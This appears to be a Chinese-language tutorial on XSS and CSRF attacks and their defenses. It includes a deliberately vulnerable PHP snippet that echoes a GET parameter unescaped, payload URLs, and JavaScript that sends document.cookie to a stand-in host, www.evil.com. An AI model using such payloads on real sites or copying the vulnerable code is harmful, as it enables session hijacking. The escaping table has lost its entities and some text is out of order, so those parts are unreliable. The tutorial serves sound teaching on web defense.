XSS攻擊
XSS攻擊簡介
跨站腳本攻擊(XSS),英文全稱 Cross Site Script, 是Web安全頭號大敵。
XSS攻擊，一般是指黑客通過在網頁中注入惡意腳本，當用戶瀏覽網頁時，惡意腳本執行，控制用戶瀏覽器行爲的一種攻擊方式。其中，XSS攻擊通常分爲反射型XSS、存儲型XSS、DOM Based XSS三種。可以通過以下例子看看XSS攻擊是如何產生的。
一個簡單的例子
本地服務器的的/xssTest 目錄下，有一個test.php文件，代碼如下：
<?php
$userName=$_GET['userName']; //獲取用戶輸入的參數
echo "<b>".$userName."</b>"; //直接輸出用戶的參數給前端頁面
?>
正常情況下，用戶提交的姓名可以正確顯示在頁面上，不會構成XSS攻擊，比如，當用戶訪問以下URL：
http://localhost/xssTest/test.php?userName=jack
頁面會顯示：
可以看到，用戶在URL中輸入的參數正常顯示在頁面上。
然後，我們嘗試在URL中插入JavaScript代碼，如：
http://localhost/xssTest/test.php?userName=<script>window.open(http://www.baidu.com)</script>
則頁面會顯示：
可以看到，頁面沒有把userName後面的內容顯示出來，而且打開了一個新的標籤頁,原因是在URL中帶有一段打開另一標籤頁的惡意腳本。
這個例子雖然簡短，但體現了最簡單的XSS攻擊的完整流程。
XSS攻擊類型
根據攻擊的方式，XSS攻擊可以分爲三類：反射型XSS、存儲型XSS、DOM Based XSS。
__反射型XSS__也被稱爲非持久性XSS,這種攻擊方式把XSS的Payload寫在URL中，通過瀏覽器直接“反射”給用戶。這種攻擊方式通常需要誘使用戶點擊某個惡意鏈接，才能攻擊成功。
__存儲型XSS__又被稱爲持久性XSS,會把黑客輸入的惡意腳本存儲在服務器的數據庫中。當其他用戶瀏覽頁面包含這個惡意腳本的頁面，用戶將會受到黑客的攻擊。一個常見的場景就是黑客寫下一篇包含惡意JavaScript腳本的博客文章，當其他用戶瀏覽這篇文章時，惡意的JavaScript代碼將會執行。
DOM Based XSS 是一種利用前端代碼漏洞進行攻擊的攻擊方式。前面的反射型XSS與存儲型XSS雖然惡意腳本的存放位置不同，但其本質都是利用後端代碼的漏洞。
反射型和存儲型xss是服務器端代碼漏洞造成的，payload在響應頁面中，DOM Based中，payload不在服務器發出的HTTP響應頁面中，當客戶端腳本運行時（渲染頁面時），payload纔會加載到腳本中執行。
XSS攻擊的危害
我們把進行XSS攻擊的惡意腳本成爲XSS Payload。XSS Payload的本質是JavaScript腳本，所以JavaScript可以做什麼，XSS攻擊就可以做什麼。
一個最常見的XSS Payload就是盜取用戶的Cookie,從而發起Cookie劫持攻擊。Cookie中，一般會保存當前用戶的登錄憑證，如果Cookie被黑客盜取，以爲着黑客有可能通過Cookie直接登進用戶的賬戶，進行惡意操作。
如下所示，攻擊者先加載一個遠程腳本：
http://localhost/xssTest/test.php?userName=<scriipt src=http://www.evil.com/evil.js></script>
而真正的XSS Payload，則寫在遠程腳本evil.js中。在evil.js中，可以通過下列代碼竊取用戶Cookie：
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
這段代碼插入了一張看不見的圖片，同時把document.cookie作爲參數，發到遠程服務器。黑客在拿到cookie後，只需要替換掉自身的cookie，就可以登入被盜取者的賬戶，進行惡意操作。
一個網站的應用只需要接受HTTP的POST請求和GET請求，就可以完成所有的操作，對於黑客而言，僅通過JavaScript就可以完成這些操作。
防禦
其實如今一些流行的瀏覽器都內置了一些對抗XSS的措施，比如Firefox的CSP、IE 8內置的XSS Filter等。除此之外，還有以下防禦手段
HttpOnly
HttpOnly最早是由微軟提出，並在IE6中實現的，至今已逐漸成爲一個標準。瀏覽器將禁止頁面的JavaScript訪問帶有HttpOnly 屬性的Cookie。以下瀏覽器開始支持HttpOnly:
- Microsoft IE 6 SP1+
- Mozilla FireFox 2.0.0.5+
- Mozilla Firefox 3.0.0.6+
- Google Chrome
- Apple Safari 4.0+
-
Opera 9.5+
一個Cookie的使用過程如下：
Step1: 瀏覽器向服務器發送請求，這時候沒有cookie。
Step2: 服務器返回同時，發送Set-Cookie頭，向客戶端瀏覽器寫入Cookie。
Step3: 在該Cookie到期前，瀏覽器訪問該域名下所有的頁面，都將發送該Cookie。
而HttpOnly是在Set-Cookie時標記的。輸入檢查
常見的Web漏洞，如XSS、SQL注入等，都要求攻擊者構造一些特殊的字符串，而這些字符串是一般用戶不會用到的，所以進行輸入檢查就很有必要了。
輸入檢查可以在用戶輸入的格式檢查中進行。很多網站的用戶名都要求是字母及數字的組合如“abc1234”，其實也能過濾一部分的XSS和SQL注入。但是，這種在客戶端的限制很容易被繞過，攻擊者可以用JavaScript或一些請求工具，直接構造請求，想網站注入XSS或者SQL。所以，除了在客戶端進行格式檢查，往往還需要在後端進行二次檢查。客戶端的檢查主要作用是阻擋大部分誤操作的正常用戶，從而節約服務器資源。
對輸出轉義
在輸出數據之前對潛在的威脅的字符進行編碼、轉義是防禦XSS攻擊十分有效的措施。
爲了對抗XSS,在HtmlEncode中至少轉換以下字符：
< 轉成 <
> 轉成 >
& 轉成 &
“ 轉成 "
‘ 轉成 '
CSRF攻擊及防護
一、CSRF是什麼
CSRF全稱爲跨站請求僞造（Cross-site request forgery），是一種網絡攻擊方式，也被稱爲 one-click attack 或者 session riding。
二、CSRF攻擊原理
CSRF攻擊利用網站對於用戶網頁瀏覽器的信任，挾持用戶當前已登陸的Web應用程序，去執行並非用戶本意的操作。
三、CSRF攻擊實例
角色：
- 正常瀏覽網頁的用戶：User
- 正規的但是具有漏洞的網站：WebA
- 利用CSRF進行攻擊的網站：WebB
流程：
1.用戶登錄、瀏覽並信任正規網站WebA，同時，WebA通過用戶的驗證並在用戶的瀏覽器中產生Cookie。
2.攻擊者WebB通過在WebA中添加圖片鏈接等方式誘導用戶User訪問網站WebB。
3.在用戶User被誘導訪問WebB後，WebB會利用用戶User的瀏覽器訪問第三方網站WebA，併發出操作請求。
4.用戶User的瀏覽器根據WebB的要求，帶着步驟一中產生的Cookie訪問WebA。
5.網站WebA接收到用戶瀏覽器的請求，WebA無法分辨請求由何處發出，由於瀏覽器訪問時帶上用戶的Cookie，因此WebA會響應瀏覽器的請求，如此一來，攻擊網站WebB就達到了模擬用戶操作的目的。
四、CSRF攻擊防護
上文簡單的敘述了CSRF攻擊的原理，接下來將要介紹幾種CSRF攻擊的防護方法。
-
只使用JSON API
表單來發送JSON，所以，通過只接收JSON可以很大可能避免CSRF攻擊。
使用JavaScript發起AJAX請求是限制跨域的，並不能通過簡單的 - 驗證HTTP Referer字段
根據 HTTP 協議，在 HTTP 頭中有一個字段叫 Referer，它記錄了該 HTTP 請求的來源地址。在通常情況下，訪問一個安全受限頁面的請求來自於同一個網站，比如上文中用戶User想要在網站WebA中進行轉賬操作，那麼用戶User- 必須先登錄WabA
- 然後再通過點擊頁面上的按鈕出發轉賬事件
這時該轉帳請求的 Referer 值就會是轉賬按鈕所在的頁面的URL，而如果黑客要對銀行網站實施 CSRF攻擊，他只能在他自己的網站構造請求，當用戶User通過黑客的網站發送請求到WebA時，該請求的 Referer 是指向黑客自己的網站。
因此，要防禦 CSRF 攻擊，網站WebA只需要對於每一個轉賬請求驗證其 Referer 值，如果是以網站WebA的網址開頭的域名，則說明該請求是來自WebA自己的請求，是合法的。如果 Referer 是其他網站的話，則有可能是黑客的 CSRF 攻擊，拒絕該請求。
- 在請求地址中添加takon驗證
CSRF 攻擊之所以能夠成功，是因爲黑客可以完全僞造用戶的請求，該請求中所有的用戶驗證信息都是存在於 cookie 中，因此黑客可以在不知道這些驗證信息的情況下直接利用用戶自己的 cookie 來通過安全驗證。要抵禦 CSRF，關鍵在於在請求中放入黑客所不能僞造的信息，並且該信息不存在於 cookie 之中。可以在 HTTP 請求中以參數的形式加入一個隨機產生的 token，並在服務器端建立一個攔截器來驗證這個 token，如果請求中沒有 token 或者 token 內容不正確，則認爲可能是 CSRF 攻擊而拒絕該請求。
這種方法要比檢查 Referer 要安全一些，token 可以在用戶登陸後產生並放於 session 之中，然後在每次請求時把 token 從 session 中拿出，與請求中的 token 進行比對。